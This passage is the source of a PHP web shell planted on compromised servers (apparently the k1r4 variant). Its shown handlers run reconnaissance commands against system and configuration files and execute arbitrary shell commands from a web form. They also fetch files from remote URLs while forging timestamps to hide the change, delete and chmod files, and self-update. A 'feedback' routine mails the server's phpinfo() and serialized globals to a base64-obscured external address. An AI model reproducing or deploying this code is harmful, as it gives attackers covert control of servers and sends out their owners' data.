1567  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
1568  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
1569  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
1570  displaysecinfo("RAM",myshellexec("free -m"));
1571  displaysecinfo("HDD space",myshellexec("df -h"));
1572  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
1573  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
1574  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
1575  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
1576  displaysecinfo("Is links installed?",myshellexec("which links"));
1577  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
1578  displaysecinfo("Is GET installed?",myshellexec("which GET"));
1579  displaysecinfo("Is perl installed?",myshellexec("which perl"));
1580  displaysecinfo("Where is apache",myshellexec("whereis apache"));
1581  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
1582  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
1583  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
1584  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
1585  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
1586 }
1587 if ($act == "mkfile")
1588 {
1589  if ($mkfile != $d)
1590  {
1591   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
1592   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
1593   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
1594  }
1595  else {$act = $dspact = "ls";}
1596 }
1597 if ($act == "encoder")
1598 {
1599  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
1600  foreach(array("md5","crypt","sha1","crc32") as $v)
1601  {
1602   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
1603  }
1604  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
1605  <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
1606  <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
1607  echo "<center>base64_decode - ";
1608  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
1609  else
1610  {
1611   $debase64 = base64_decode($encoder_input);
1612   $debase64 = str_replace("","[0]",$debase64);
1613   $a = explode("
1614 ",$debase64);
1615   $rows = count($a);
1616   $debase64 = htmlspecialchars($debase64);
1617   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
1618   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
1619   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
1620  }
1621  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1622  $c = strlen($encoder_input);
1623  for($i=0;$i<$c;$i++)
1624  {
1625   $hex = dechex(ord($encoder_input[$i]));
1626   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1627   elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
1628  }
1629  echo "\" readonly><br></center></form>";
1630 }
1631 if ($act == "fsbuff")
1632 {
1633  $arr_copy = $sess_data["copy"];
1634  $arr_cut = $sess_data["cut"];
1635  $arr = array_merge($arr_copy,$arr_cut);
1636  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
1637  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
1638 }
1639 if ($act == "selfremove")
1640 {
1641  if (($submit == $rndcode) and ($submit != ""))
1642  {
1643   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$shver."!"; k1r4exit(); }
1644   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
1645  }
1646  else
1647  {
1648   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
1649   $rnd = rand(0,9).rand(0,9).rand(0,9);
1650   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
1651  }
1652 }
1653 if ($act == "update") {$ret = k1r4_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
1654 if ($act == "feedback")
1655 {
1656  $suppmail = base64_decode("ZnJlZXNoZWxsNTEwQGdtYWlsLmNvbQ==");
1657  if (!empty($submit))
1658  {
1659   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
1660   $body = "".$shver." feedback #".$ticket."
1661 Name: ".htmlspecialchars($fdbk_name)."
1662 E-mail: ".htmlspecialchars($fdbk_email)."
1663 Message:
1664 ".htmlspecialchars($fdbk_body)."
1665 
1666 IP: ".$REMOTE_ADDR;
1667   if (!empty($fdbk_ref))
1668   {
1669    $tmp = @ob_get_contents();
1670    ob_clean();
1671    phpinfo();
1672    $phpinfo = base64_encode(ob_get_contents());
1673    ob_clean();
1674    echo $tmp;
1675    $body .= "
1676 "."phpinfo(): ".$phpinfo."
1677 "."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
1678 ";
1679   }
1680   mail($suppmail,"".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
1681   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
1682  }
1683  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
1684 }
1685 if ($act == "search")
1686 {
1687  echo "<b>Search in file-system:</b><br>";
1688  if (empty($search_in)) {$search_in = $d;}
1689  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1690  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1691  if (!empty($submit))
1692  {
1693   $found = array();
1694   $found_d = 0;
1695   $found_f = 0;
1696   $search_i_f = 0;
1697   $search_i_d = 0;
1698   $a = array
1699   (
1700    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
1701    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
1702    "text_wwo"=>$search_text_wwo,
1703    "text_cs"=>$search_text_cs,
1704    "text_not"=>$search_text_not
1705   );
1706   $searchtime = getmicrotime();
1707   $in = array_unique(explode(";",$search_in));
1708   foreach($in as $v) {k1r4fsearch($v);}
1709   $searchtime = round(getmicrotime()-$searchtime,4);
1710   if (count($found) == 0) {echo "<b>No files found!</b>";}
1711   else
1712   {
1713    $ls_arr = $found;
1714    $disp_fullpath = TRUE;
1715    $act = "ls";
1716   }
1717  }
1718  echo "<form method=POST>
1719 <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
1720 <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
1721 <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
1722 <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
1723 <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
1724 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
1725 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
1726 &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
1727 <br><br><input type=submit name=submit value=\"Search\"></form>";
1728  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
1729 }
1730 if ($act == "chmod")
1731 {
1732  $mode = fileperms($d.$f);
1733  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1734  else
1735  {
1736   $form = TRUE;
1737   if ($chmod_submit)
1738   {
1739    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1740    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
1741    else {$err = "Can't chmod to ".$octet.".";}
1742   }
1743   if ($form)
1744   {
1745    $perms = parse_perms($mode);
1746    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1747   }
1748  }
1749 }
1750 if ($act == "upload")
1751 {
1752  $uploadmess = "";
1753  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
1754  if (empty($uploadpath)) {$uploadpath = $d;}
1755  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
1756  if (!empty($submit))
1757  {
1758   global $HTTP_POST_FILES;
1759   $uploadfile = $HTTP_POST_FILES["uploadfile"];
1760   if (!empty($uploadfile["tmp_name"]))
1761   {
1762    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1763    else {$destin = $userfilename;}
1764    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
1765   }
1766   elseif (!empty($uploadurl))
1767   {
1768    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
1769    else
1770    {
1771     $destin = explode("/",$destin);
1772     $destin = $destin[count($destin)-1];
1773     if (empty($destin))
1774     {
1775      $i = 0;
1776      $b = "";
1777      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
1778    }
1779    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
1780    else
1781    {
1782     $st = getmicrotime();
1783     $content = @file_get_contents($uploadurl);
1784     $dt = round(getmicrotime()-$st,4);
1785     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
1786     else
1787     {
1788      if ($filestealth) {$stat = stat($uploadpath.$destin);}
1789      $fp = fopen($uploadpath.$destin,"w");
1790      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
1791      else
1792      {
1793       fwrite($fp,$content,strlen($content));
1794       fclose($fp);
1795       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
1796      }
1797     }
1798    }
1799   }
1800  }
1801  if ($miniform)
1802  {
1803   echo "<b>".$uploadmess."</b>";
1804   $act = "ls";
1805  }
1806  else
1807  {
1808   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
1809 Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
1810 Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
1811 Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
1812 File-name (auto-fill): <input name=uploadfilename size=25><br><br>
1813 <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
1814 <input type=submit name=submit value=\"Upload\">
1815 </form>";
1816  }
1817 }
1818 if ($act == "delete")
1819 {
1820  $delerr = "";
1821  foreach ($actbox as $v)
1822  {
1823   $result = FALSE;
1824   $result = fs_rmobj($v);
1825   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
1826  }
1827  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
1828  $act = "ls";
1829 }
1830 if (!$usefsbuff)
1831 {
1832  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
1833 }
1834 else
1835 {
1836  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); k1r4_sess_put($sess_data); $act = "ls"; }
1837  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); k1r4_sess_put($sess_data); $act = "ls";}
1838  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} k1r4_sess_put($sess_data); $act = "ls";}
1839  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); k1r4_sess_put($sess_data);}
1840  elseif ($actpastebuff)
1841  {
1842   $psterr = "";
1843   foreach($sess_data["copy"] as $k=>$v)
1844   {
1845    $to = $d.basename($v);
1846    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1847    if ($copy_unset) {unset($sess_data["copy"][$k]);}
1848   }
1849   foreach($sess_data["cut"] as $k=>$v)
1850   {
1851    $to = $d.basename($v);
1852    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1853    unset($sess_data["cut"][$k]);
1854   }
1855   k1r4_sess_put($sess_data);
1856   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1857   $act = "ls";
1858  }
1859  elseif ($actarcbuff)
1860  {
1861   $arcerr = "";
1862   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1863   else {$ext = ".tar.gz";}
1864   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1865   $cmdline .= " ".$actarcbuff_path;
1866   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1867   foreach($objects as $v)
1868   {
1869    $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
1870    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1871    if (is_dir($v))
1872    {
1873     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1874     $v .= "*";
1875    }
1876    $cmdline .= " ".$v;
1877   }
1878   $tmp = realpath(".");
1879   chdir($d);
1880   $ret = myshellexec($cmdline);
1881   chdir($tmp);
1882   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1883   $ret = str_replace("
1884 ","
1885 ",$ret);
1886   $ret = explode("
1887 ",$ret);
1888   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1889   foreach($sess_data["cut"] as $k=>$v)
1890   {
1891    if (in_array($v,$ret)) {fs_rmobj($v);}
1892    unset($sess_data["cut"][$k]);
1893   }
1894   k1r4_sess_put($sess_data);
1895   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1896   $act = "ls";
1897  }
1898  elseif ($actpastebuff)
1899  {
1900   $psterr = "";
1901   foreach($sess_data["copy"] as $k=>$v)
1902   {
1903    $to = $d.basename($v);
1904    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1905    if ($copy_unset) {unset($sess_data["copy"][$k]);}
1906   }
1907   foreach($sess_data["cut"] as $k=>$v)
1908   {
1909    $to = $d.basename($v);
1910    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1911    unset($sess_data["cut"][$k]);
1912   }
1913   k1r4_sess_put($sess_data);
1914   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1915   $act = "ls";
1916  }
1917 }
1918 if ($act == "cmd")
1919 {
1920 if (trim($cmd) == "ps -aux") {$act = "processes";}
1921 elseif (trim($cmd) == "tasklist") {$act = "processes";}
1922 else
1923 {
1924  @chdir($chdir);
1925  if (!empty($submit))
1926  {
1927   echo "<b>Result of execution this command</b>:<br>";
1928   $olddir = realpath(".");
1929   @chdir($d);
1930   $ret = myshellexec($cmd);
1931   $ret = convert_cyr_string($ret,"d","w");
1932   if ($cmd_txt)
1933   {
1934    $rows = count(explode("
1935 ",$ret))+1;
1936    if ($rows < 10) {$rows = 10;}
1937    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
1938   }
1939   else {echo $ret."<br>";}
1940   @chdir($olddir);
1941  }
1942  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
1943  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
1944 }
1945 }
1946 if ($act == "ls")
1947 {
1948  if (count($ls_arr) > 0) {$list = $ls_arr;}
1949  else
1950  {
1951   $list = array();
1952   if ($h = @opendir($d))
1953   {
1954    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1955    closedir($h);
1956   }
1957   else {}
1958  }
1959  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
1960  else
1961  {
1962   //Building array
1963   $objects = array();
1964   $vd = "f"; //Viewing mode
1965   if ($vd == "f")
1966   {
1967    $objects["head"] = array();
1968    $objects["folders"] = array();
1969    $objects["links"] = array();
1970    $objects["files"] = array();
1971    foreach ($list as $v)
1972    {
1973     $o = basename($v);
1974     $row = array();
1975     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
1976     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
1977     elseif (is_dir($v))
1978     {
1979      if (is_link($v)) {$type = "LINK";}
1980      else {$type = "DIR";}
1981      $row[] = $v;
1982      $row[] = $type;
1983     }
1984     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1985     $row[] = filemtime($v);
1986     if (!$win)
1987     {
1988      $ow = posix_getpwuid(fileowner($v));
1989      $gr = posix_getgrgid(filegroup($v));
1990      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1991     }
1992     $row[] = fileperms($v);
1993     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1994     elseif (is_link($v)) {$objects["links"][] = $row;}
1995     elseif (is_dir($v)) {$objects["folders"][] = $row;}
1996     elseif (is_file($v)) {$objects["files"][] = $row;}
1997     $i++;
1998    }
1999    $row = array();
2000    $row[] = "<b>Name</b>";
2001    $row[] = "<b>Size</b>";
2002    $row[] = "<b>Modify</b>";
2003    if (!$win)
2004   {$row[] = "<b>Owner/Group</b>";}
2005    $row[] = "<b>Perms</b>";
2006    $row[] = "<b>Action</b>";
2007    $parsesort = parsesort($sort);
2008    $sort = $parsesort[0].$parsesort[1];
2009    $k = $parsesort[0];
2010    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
2011    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
2012    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
2013    $row[$k] .= $y;
2014    for($i=0;$i<count($row)-1;$i++)
2015    {
2016     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
2017    }
2018    $v = $parsesort[0];
2019    usort($objects["folders"], "tabsort");
2020    usort($objects["links"], "tabsort");
2021    usort($objects["files"], "tabsort");
2022    if ($parsesort[1] == "d")
2023    {
2024     $objects["folders"] = array_reverse($objects["folders"]);
2025     $objects["files"] = array_reverse($objects["files"]);
2026    }
2027    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
2028    $tab = array();
2029    $tab["cols"] = array($row);
2030    $tab["head"] = array();
2031    $tab["folders"] = array();
2032    $tab["links"] = array();
2033    $tab["files"] = array();
2034    $i = 0;
2035    foreach ($objects as $a)
2036    {
2037     $v = $a[0];
2038     $o = basename($v);
2039     $dir = dirname($v);
2040     if ($disp_fullpath) {$disppath = $v;}
2041     else {$disppath = $o;}
2042     $disppath = str2mini($disppath,60);
2043     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
2044     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
2045     foreach ($regxp_highlight as $r)
2046     {
2047      if (ereg($r[0],$o))
2048      {
2049       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; k1r4exit();}
2050       else
2051       {
2052        $r[1] = round($r[1]);
2053        $isdir = is_dir($v);
2054        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
2055        {
2056         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
2057         $disppath = $r[2].$disppath.$r[3];
2058         if ($r[4]) {break;}
2059        }
2060       }
2061      }
2062     }
2063     $uo = urlencode($o);
2064     $ud = urlencode($dir);
2065     $uv = urlencode($v);
2066     $row = array();
2067     if ($o == ".")
2068     {
2069      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
2070      $row[] = "LINK";
2071     }
2072     elseif ($o == "..")
2073     {
2074      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
2075      $row[] = "LINK";
2076     }
2077     elseif (is_dir($v))
2078     {
2079      if (is_link($v))
2080      {
2081       $disppath .= " => ".readlink($v);
2082       $type = "LINK";
2083       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2084      }
2085      else
2086      {
2087       $type = "DIR";
2088       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2089       }
2090      $row[] = $type;
2091     }
2092     elseif(is_file($v))
2093     {
2094      $ext = explode(".",$o);
2095      $c = count($ext)-1;
2096      $ext = $ext[$c];
2097      $ext = strtolower($ext);
2098      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
2099      $row[] = view_size($a[1]);
2100     }
2101     $row[] = date("d.m.Y H:i:s",$a[2]);
2102     if (!$win) {$row[] = $a[3];}
2103     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
2104     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
2105     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
2106     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
2107     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
2108     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
2109     elseif (is_link($v)) {$tab["links"][] = $row;}
2110     elseif (is_dir($v)) {$tab["folders"][] = $row;}
2111     elseif (is_file($v)) {$tab["files"][] = $row;}
2112     $i++;
2113    }
2114   }
2115   // Compiling table
2116   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
2117   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
2118   foreach($table as $row)
2119   {
